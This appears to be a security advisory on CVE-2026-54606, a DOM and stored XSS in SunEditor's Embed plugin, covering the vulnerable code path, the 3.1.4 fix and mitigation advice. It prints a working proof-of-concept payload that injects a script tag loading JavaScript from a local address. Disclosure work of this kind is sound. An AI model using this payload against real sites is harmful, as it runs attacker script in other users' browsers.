CVE-2026-54606: suneditor Embed Plugin DOM XSS via External Script Element
A crafted embed payload in SunEditor's Embed plugin lets an attacker append a remote script tag to the live DOM, executing arbitrary JavaScript in any user's browser that opens or previews the saved…

The problem
SunEditor's Embed plugin (versions <= 3.1.3) processes raw embed HTML submitted through the Embed modal. It iterates child nodes of the parsed HTML and, when it finds a <script> element, creates a brand-new script element using the attacker-supplied src attribute and later appends it to the DOM.
Because the browser treats a freshly created and appended <script> as a new resource request, the external script executes immediately. No special encoding or obfuscation is needed. If the editor content is stored in a backend and later reopened by any user, the impact escalates to stored XSS.
Proof of concept
A working proof-of-concept for CVE-2026-54606 in suneditor, with the exact payload below.
<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script>The vulnerable code path parses the raw embed string with DOMParser, walks the resulting children, and on hitting a <script> node calls dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null) before appending it to the cover element.
The key flaw is that the src value is taken directly from attacker-controlled input with no allowlist check, and a newly created script element (unlike an existing one moved in the DOM) always triggers a fresh fetch and execution.
The patch introduced pluginOptions.embed.scriptSrcWhitelist so that external scripts are only recreated when their src matches an explicit developer-defined allowlist. Scripts with a src not on the allowlist are now silently dropped. The minimum safe change is to skip all <script> nodes entirely unless they match a trusted pattern (CWE-79).
The fix
Upgrade suneditor to 3.1.4. If you have legitimate use cases requiring companion scripts (such as Twitter/X embed widgets), configure pluginOptions.embed.scriptSrcWhitelist with a narrow regex allowlist. Do not rely solely on frontend sanitization; always strip or validate <script> elements server-side before storing or re-rendering editor content.
Related research
- high · 8.7CVE-2026-55596CVE-2026-55596: @platejs/media Media Embed Stored XSS via Serialized Provider Metadata
- highCVE-2026-55090CVE-2026-55090: Etherpad Stored XSS via Unescaped HTML Export Attribute Values
- high · 7.5CVE-2026-53950CVE-2026-53950: @tryghost/activitypub Stored XSS via Federated Post Content
- highCVE-2026-69149CVE-2026-69149: @angular/platform-server SSR Fallback Raw-Content XSS